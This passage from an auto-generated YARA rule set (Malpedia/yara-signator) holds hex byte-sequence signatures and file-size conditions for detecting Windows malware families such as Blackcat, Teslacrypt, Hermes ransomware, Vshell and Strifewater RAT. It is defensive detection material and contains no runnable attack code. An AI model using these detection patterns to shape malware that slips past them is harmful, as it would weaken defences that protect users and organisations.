		logic_hash = "25d3161d5bf746c6ecd7f709f19943bce6135e5cdd1b0f6ec1d26ee45065cb61"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 037dfc 897df0 0fb6780b c1e708 }
		$sequence_1 = { c1e708 0fb6582c 0bfb 89b984000000 897dbc 8b7df0 337dfc }
		$sequence_2 = { 03de 8dbc3b56b7c7e8 0fb6580a c1c70c 037dfc 897df0 0fb6780b }
		$sequence_3 = { 0f8278ffffff 5b 5f 8bc6 5e }
		$sequence_4 = { 3bcf 7319 bf???????? 8d5101 2bf9 }
		$sequence_5 = { c3 8b4d0c 85c9 7411 8bc1 }
		$sequence_6 = { 6a00 50 68???????? 6a00 6a00 ffd6 50 }
		$sequence_7 = { 8b08 8b511c 50 ffd2 3bc3 740a 83f801 }
		$sequence_8 = { 33d2 25ff7f0000 f7f1 80c230 885305 c6430600 85ff }
		$sequence_9 = { c1ea10 884708 8b4610 884f05 885706 8bc8 8bd0 }
	condition:
		7 of them and filesize < 504832
}

rule MALPEDIA_Win_Blackcat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7d7e215c-b7ec-5d55-a8aa-0595745c47b1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackcat_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "f613dd0b295abc7ed25049f8912ac5a26d116d8e5b2b8db308f5a3d66d3b2048"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4701 31c9 31d2 89460c 4f c745f000000000 }
		$sequence_1 = { 3c02 7351 88c4 8975cc }
		$sequence_2 = { 8945e8 0f83a1000000 85db 0f8499000000 803c3b5f }
		$sequence_3 = { 81f902010000 747b e9???????? 8d81d6c3ffff 83f802 726b 81f9ed350000 }
		$sequence_4 = { 31f6 c70201000000 c7420400000000 894208 c7420c00000000 0fb788d6040000 }
		$sequence_5 = { c1e203 662e0f1f840000000000 90 85d2 7411 8b39 83c108 }
		$sequence_6 = { 0f1f840000000000 6690 55 89e5 }
		$sequence_7 = { 8b450c 89d6 8a10 80c2e6 80fa05 7779 }
		$sequence_8 = { 80c230 8894056bffffff 48 e9???????? }
		$sequence_9 = { 83c40c 84c0 0f858b010000 8d4704 }
	condition:
		7 of them and filesize < 29981696
}

rule MALPEDIA_Win_New_Ct_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "df99256a-ac37-54eb-b09f-1730ead584e4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.new_ct_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "9eac271e285948f56968d4730b1030e87fbe78a87c978d4507ea0ec6208dc34d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7428 a1???????? 8d8c2478020000 50 68???????? 68???????? }
		$sequence_1 = { 83fe06 0f8f1f010000 83fe03 0f8e16010000 8b4508 803805 0f850a010000 }
		$sequence_2 = { 81ec00040000 53 56 6888030000 33db }
		$sequence_3 = { 8b8680030000 8d542414 52 03c7 6800400000 50 53 }
		$sequence_4 = { 68???????? 8bce e8???????? 89b5b0f3ffff 89b5b4f3ffff 85f6 7410 }
		$sequence_5 = { 8944242c 8d542430 89442430 51 89442438 52 89442440 }
		$sequence_6 = { 50 68???????? 6a10 68???????? ffd3 }
		$sequence_7 = { f3a4 8dbdccfdffff 83c9ff 33c0 f2ae f7d1 49 }
		$sequence_8 = { 8b5508 8b420c 85c0 740f 8985c8f6ffff 50 }
		$sequence_9 = { f3a4 b900010000 8dbc2470020000 f3ab }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Helauto_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b795cd97-f81e-5b0c-b86f-eb6142e4a506"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.helauto_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "77b1dbe0537fbb57df2196994395215daf625d1b39e62bbfe2e9527b9343a123"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c0 8d7dc0 895dbc f3ab 8b4510 69c0f4010000 }
		$sequence_1 = { 753b 6a08 be???????? 59 8d7d98 f3a5 }
		$sequence_2 = { ff75f0 ff15???????? 8b45f4 8b7dec 2b4510 }
		$sequence_3 = { 68???????? 8d85a8f9ffff 50 e8???????? 8d85a8f9ffff }
		$sequence_4 = { 53 8d85a8f8ffff 68???????? 50 e8???????? }
		$sequence_5 = { 50 6a1f ff75fc ffd6 8d45c8 57 50 }
		$sequence_6 = { 53 53 6a01 53 8d8528feffff 53 }
		$sequence_7 = { 59 0f85b3000000 53 6a08 }
		$sequence_8 = { 6a01 58 c20c00 b8???????? e8???????? 81ec00010000 }
		$sequence_9 = { 6a1f ff75fc 897dc4 ff15???????? 8b35???????? 804ddd01 }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Warmcookie_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0026322f-2256-5880-b6f0-ee27db7c6e54"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warmcookie"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warmcookie_auto.yar#L1-L234"
		license_url = "N/A"
		logic_hash = "f9b50e12d5d001e33fbadd9cf4f5cbc2e73544c65bdcaaf5cab4e22fb22bdceb"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 41b900000000 41b807000000 ba00000080 4889c1 }
		$sequence_1 = { 48c744243800000000 c744243000000000 c744242803000000 48c744242000000000 41b900000000 }
		$sequence_2 = { 41be01000000 4d85d2 0f8489010000 418b02 85c0 0f88c0060000 8d0480 }
		$sequence_3 = { 4183fe03 0f87ff050000 4585f6 0f850a020000 41be01000000 4d85d2 }
		$sequence_4 = { 41b902000000 41b800000000 ba00000000 4889c1 }
		$sequence_5 = { 48896c2470 8944242c 48b8fffffffffdffffff 4889842480000000 31c0 6689842488000000 }
		$sequence_6 = { 448b44244c 4989c4 4181f80080ffff 7470 }
		$sequence_7 = { 4883c468 5b 415c c3 55 }
		$sequence_8 = { 4181f80080ffff 7470 8b4c2448 4889c2 4989d9 e8???????? }
		$sequence_9 = { 8b530c 85d2 0f8e1bffffff 01d0 89430c e9???????? 4157 }
		$sequence_10 = { 4883ec28 e8???????? 3dff2f0000 0f97c0 }
		$sequence_11 = { ba19000000 488b4c2438 ff15???????? 85c0 }
		$sequence_12 = { ba18000000 4889c1 ffd3 85c0 }
		$sequence_13 = { 85c0 7409 488b442428 48c1e814 }
		$sequence_14 = { 488b01 ff9080000000 85c0 7815 }
		$sequence_15 = { ff15???????? 25ff0f0000 8d88b80b0000 ff15???????? }
		$sequence_16 = { 488b01 ff5010 ff15???????? 89f0 4883c458 }
		$sequence_17 = { 8d8800040000 e8???????? 4889c3 4885c0 }
		$sequence_18 = { 0fb6d1 488b0b ff15???????? 8b38 488bcb e8???????? 488b4c2448 }
		$sequence_19 = { 85c0 7432 488d0c7d02000000 e8???????? 488bd8 4885c0 }
		$sequence_20 = { 48ffc7 66393478 75f7 4885ff 740d 488d4c2420 }
		$sequence_21 = { 440fb64101 410fb6540902 410fb6440802 4188440902 4188540802 0fb601 }
		$sequence_22 = { 488bce e8???????? 488b7c2468 8bc3 }
		$sequence_23 = { 4c8bc6 6683f822 744f 48ffc1 664289440420 }
		$sequence_24 = { 488d542470 b901010000 ff15???????? 85c0 }
	condition:
		7 of them and filesize < 331776
}

rule MALPEDIA_Win_Computrace_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d022645b-4eeb-5507-b4bf-b64f930ec84b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.computrace_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "f20f4a4bfb7063221bca96073a60966b690b58a18a5add0eb3048df505777fc6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4628 8d5508 6a04 52 56 ffd0 }
		$sequence_1 = { 7469 c7466c01000000 834e70ff 804e5c04 ff15???????? }
		$sequence_2 = { 2bc7 7417 48 740f 48 }
		$sequence_3 = { 8d442404 50 6a01 6a00 6a03 ff15???????? c20400 }
		$sequence_4 = { 894c862c 8935???????? 5e 8bc3 5b }
		$sequence_5 = { 3b0f 7cd3 c60600 2b750c 8937 5f 5e }
		$sequence_6 = { 8845f3 33ff 397d14 7e1a }
		$sequence_7 = { 56 8b35???????? 57 8b7d08 8d85f8feffff 50 }
		$sequence_8 = { 7305 6681f22110 fecd 75f2 }
		$sequence_9 = { ffb6401b0000 ff15???????? 8d86301b0000 50 8d45e4 50 }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Teslacrypt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9b939144-964e-5aba-aac8-37aa145cbdf7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.teslacrypt_auto.yar#L1-L176"
		license_url = "N/A"
		logic_hash = "de3676df661439e8c55092a036c1132b34328a8e3d35af949d4b63145f8cc259"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 31f7 897d04 31f9 894d08 }
		$sequence_1 = { 31f7 89bdc4000000 31f9 898dc8000000 31ca 8995cc000000 89d0 }
		$sequence_2 = { 31f9 894d08 31ca 89550c 89d0 }
		$sequence_3 = { 33451c 89453c 51 52 89f2 c1c808 0fb6c8 }
		$sequence_4 = { 31f7 89bda4000000 31f9 898da8000000 31ca 8995ac000000 89d0 }
		$sequence_5 = { 3345f4 894514 3345f8 894518 3345fc 89451c 51 }
		$sequence_6 = { 335d04 334d08 33550c 81ffa0000000 0f8452030000 81ffc0000000 0f84ac010000 }
		$sequence_7 = { 334500 335d04 8b6c2418 894500 895d04 897508 897d0c }
		$sequence_8 = { 83fa00 89442418 894c2414 89542410 7d23 8b442410 }
		$sequence_9 = { 8b54244c 8916 c7460804000000 89442448 ffd1 83ec10 8b4c2448 }
		$sequence_10 = { 8b442438 c70001000000 8b442428 c70002000000 }
		$sequence_11 = { 894c243c 74b0 e8???????? 89e1 8901 c74104???????? e8???????? }
		$sequence_12 = { 8b4c2460 ffd1 83ec08 8944240c }
		$sequence_13 = { 8b4c2434 8b11 8b742438 29d6 8b7c243c }
		$sequence_14 = { e8???????? 31c9 89c2 83c218 }
		$sequence_15 = { 89442408 885c2407 88742406 7428 8b442408 83c001 }
	condition:
		7 of them and filesize < 1187840
}

rule MALPEDIA_Win_Unidentified_071_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cfbea96e-4359-5ae7-941b-244ed79d12c2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_071"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_071_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "2aec891397e4f33ea521c1dfdd2bf39deb44b46ee917346f946ae37d0a5d367f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 837c241002 740b 837c241003 7504 6a0b }
		$sequence_1 = { a1???????? 0d00020000 a3???????? e8???????? }
		$sequence_2 = { 56 55 e8???????? 8d4701 89742420 }
		$sequence_3 = { c1e902 57 33ff 3b550c 0f47c8 85c9 7413 }
		$sequence_4 = { 53 56 57 e8???????? 83c418 eb10 83f802 }
		$sequence_5 = { 3bf3 7408 53 8bce e8???????? 83ed10 83eb10 }
		$sequence_6 = { 0faf05???????? 53 56 8b35???????? }
		$sequence_7 = { 8bec 8b550c 8b4d10 8b4214 2b4210 394110 7615 }
		$sequence_8 = { c21000 e8???????? cc 8b442408 56 8b742408 }
		$sequence_9 = { a3???????? a1???????? 83e040 59 a3???????? }
	condition:
		7 of them and filesize < 1220608
}

rule MALPEDIA_Win_Chir_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "78bff571-2d0f-563f-8afb-2fed2637cee4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chir"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chir_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "13fbf415f29c525be8d7104bf47ab4cf9292f1187b96643f7c39e370c88f7e8f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 c745f840214125 c745fc32212400 e8???????? }
		$sequence_1 = { 48 59 8bfb 7419 }
		$sequence_2 = { 8d45f0 50 c745f021352432 c745f451173300 e8???????? 48 }
		$sequence_3 = { 8d4c15f8 8a19 80f3fc 80c302 80f301 80c303 }
		$sequence_4 = { 8d45f4 50 c745f421352432 c745f851173300 e8???????? }
		$sequence_5 = { 740b 48 8906 66837c47fe5c }
		$sequence_6 = { c745f451173300 e8???????? 48 59 8bfb }
		$sequence_7 = { 7415 8d4c15f8 8a01 34fc 0402 3401 0403 }
		$sequence_8 = { 42 8801 3bd7 72eb }
		$sequence_9 = { 8d45f4 50 c745f421352432 c745f851173300 }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Vshell_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9d00442f-4008-5c2c-a89f-67c6ad34a468"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vshell"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vshell_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "af7100cec7361ef2656c4b43a7045079d3f82b2662234a4759041cc9664982f0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 90 bf01000000 90 e8???????? 488b942480000000 48894a70 }
		$sequence_1 = { eb50 488b842498000000 48c740280b000000 eb3e 488b842428010000 488b9c2430010000 e8???????? }
		$sequence_2 = { e8???????? 48c70019000000 e8???????? 4889c1 4889df 488d05419d5d00 488b9c2490000000 }
		$sequence_3 = { eb1b 440fb64c3c27 418d3431 8d76cd 4088741427 4488443c27 4883c002 }
		$sequence_4 = { eb38 488b8c2488000000 488b4110 e8???????? 4889c3 488d053d4ca100 488b6c2478 }
		$sequence_5 = { eba7 4885c9 741c 48894c2440 48899c2498000000 31c0 31d2 }
		$sequence_6 = { e8???????? e8???????? 4889842478040000 e8???????? 4889842470040000 48899c24d8010000 e8???????? }
		$sequence_7 = { eb0c 488d3da654b000 e8???????? 4885db 7410 4889d8 4889cb }
		$sequence_8 = { e8???????? eb38 488b7c2428 488b07 488b5f08 488b4f10 440f117f08 }
		$sequence_9 = { c744242c4e67d48a 48ba22266cf93b139a0b 4889542418 c74424206ecc42ee 31c0 eb1a 0fb6540424 }
	condition:
		7 of them and filesize < 39452672
}

rule MALPEDIA_Win_Darkloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ad9df5bd-cb17-5a57-841e-d7169dd29ac7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkloader_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "0e3b5f14c9565dba5f89e209f471d5ea4bec46d1f1cc2d6a50fe986d74ec01f7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8365fc00 ff15???????? 59 85c0 b9???????? }
		$sequence_1 = { 68???????? ffb7dc010000 8987d4010000 ffd6 }
		$sequence_2 = { 83f9ff 75bb 8bb42424020000 8dbe10a10010 ff742418 e8???????? 59 }
		$sequence_3 = { 8931 e8???????? 83c410 33c0 40 ebaf 83ec18 }
		$sequence_4 = { 8b01 ff90d0000000 83f809 7555 }
		$sequence_5 = { 68???????? eb38 8d042f 50 e8???????? }
		$sequence_6 = { 56 57 e8???????? 8bd8 59 59 85ff }
		$sequence_7 = { ffb7dc010000 894704 ffd6 68???????? }
		$sequence_8 = { 6a08 8bf8 be???????? 59 8d442414 f3a5 }
		$sequence_9 = { a3???????? 5e c3 55 8bec 81ec04040000 33c9 }
	condition:
		7 of them and filesize < 124928
}

rule MALPEDIA_Win_Hermes_Ransom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "88136c82-87ab-5f89-8963-9afb9534a540"
		date = "2021-10-07"
		modified = "2021-10-08"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes_ransom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermes_ransom_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "2bb9637b7e3ee9fcdd4e957eade001e8c8132e1b7c987ea6727ab44eda025915"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20211007"
		malpedia_hash = "e5b790e0f888f252d49063a1251ca60ec2832535"
		malpedia_version = "20211008"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 59 59 8945e0 837ddc00 7506 837de000 7405 }
		$sequence_1 = { 8d45dc 50 ff75d8 8d8560ffffff 50 ff75e0 ff15???????? }
		$sequence_2 = { 33c0 668945e2 33c0 8945e4 8945e8 837df020 }
		$sequence_3 = { 6a00 8d85a4f9ffff 50 ff15???????? 5f 5e 8be5 }
		$sequence_4 = { 0fb7844504f7ffff 83f83b 741f 8b45d8 8b4df0 668b8c4d04f7ffff }
		$sequence_5 = { 8365c800 8365d000 c745b840420f00 8365e000 eb07 8b45e0 40 }
		$sequence_6 = { 59 6bc900 668981e8c34000 6a02 }
		$sequence_7 = { 59 59 6a0f 6a00 8d45bc 50 }
		$sequence_8 = { 8365f000 8b45f0 8945f8 837df800 7456 }
		$sequence_9 = { 83e002 7415 ff750c ff75fc e8???????? 59 }
	condition:
		7 of them and filesize < 7192576
}

rule MALPEDIA_Win_Strifewater_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "62a3ce73-baac-56a1-82cb-c062e0eed183"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strifewater_rat_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "04a48ee28febde8895539bb526c6ef5f904eb84967ebbad205245d5d96a955aa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b7c2478 4883c450 415e c3 488d151f910400 488d4c2420 e8???????? }
		$sequence_1 = { 48895320 488d3d472d0800 be05000000 498bd5 8bce }
		$sequence_2 = { 488b07 48634804 4803cf 85f6 741a 8b5110 0bd6 }
		$sequence_3 = { 90 498b06 488b5858 488bcb e8???????? 4c8d4def 4c8d056e710500 }
		$sequence_4 = { 48c7442420feffffff 48895c2440 488bf9 488d056ae70800 488901 4883c140 4533c0 }
		$sequence_5 = { e9???????? 488b9540070000 4c8d0526ae0100 498bce e8???????? 85c0 }
		$sequence_6 = { 488d0595ec0500 488906 eb02 33f6 4c8b05???????? 4d85c0 753c }
		$sequence_7 = { 48634804 83640c48fb 4533ff eb0d 408ad7 488d4c2430 e8???????? }
		$sequence_8 = { 48898424f0000000 488b4e08 4885c9 7509 488d1598330900 eb0d 488b5128 }
		$sequence_9 = { 8bc3 874710 85c0 7421 8365d800 488d059ca1feff 488945e0 }
	condition:
		7 of them and filesize < 1552384
}

rule MALPEDIA_Win_Ondritols_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "81710fe6-9ae7-546c-9cb9-b9c86df2ce65"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ondritols"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ondritols_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "44ff18d30e7336ef39e54fec8b0b622a69d795c9c1893d07882cb3b4d93aa6f9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f3ab 59 894df8 8b4df8 e8???????? 50 8b45f8 }
		$sequence_1 = { c745fcffffffff 8d4d10 e8???????? 8a8523ffffff eb1e eb9c c6852fffffff01 }
		$sequence_2 = { c745fc00000000 8b4508 c1f805 8b4d08 83e11f c1e106 8b1485e0ca4600 }
		$sequence_3 = { 50 8d45f4 64a300000000 894dec 6a01 8d8518ffffff }
		$sequence_4 = { 7409 8b55e4 c70201000000 eb15 c745e400000000 c745f000000000 c745e848a54600 }
		$sequence_5 = { 895f14 895f18 39b530ffffff 720f 8b951cffffff 52 e8???????? }
		$sequence_6 = { e8???????? 8b45e4 50 e8???????? 83c408 885dfc 8d7310 }
		$sequence_7 = { 746a 833d????????10 720e a1???????? 50 e8???????? 83c404 }
		$sequence_8 = { c645fc04 e8???????? 83c404 3bc3 0f84a7020000 8906 }
		$sequence_9 = { 8d8568f5ffff 50 e8???????? 83c404 83c00b 83f83c }
	condition:
		7 of them and filesize < 964608
}

rule MALPEDIA_Win_Treasurehunter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e821ddca-c116-541d-9bd5-f7649288cdd5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.treasurehunter_auto.yar#L1-L106"
		license_url = "N/A"
		logic_hash = "102e6e7f9d869ce1a995b96c3cd12e8dc18894c29a700642a08bd98f281dfbdd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 56 57 6a01 6a00 e8???????? }
		$sequence_1 = { 6800000020 6a2f 68???????? 57 ff15???????? 85c0 }
		$sequence_2 = { 8a0e 46 84c9 75f9 2bf0 e8???????? }
		$sequence_3 = { 56 57 8bf9 8bca e8???????? 8b7508 }
		$sequence_4 = { 53 56 8b35???????? 8bd9 8b4d08 57 8955fc }
		$sequence_5 = { 8bf1 85d2 7e0b 4a e8???????? 0fafc6 5e }
		$sequence_6 = { 8903 ff15???????? 8b4dfc 57 }
		$sequence_7 = { 6800040000 8d85fcfbffff 50 8d85fcf7ffff 50 e8???????? }
	condition:
		7 of them and filesize < 229376
}

rule MALPEDIA_Win_Makop_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e214999d-16a1-514d-bedc-c66a8b25498d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop"
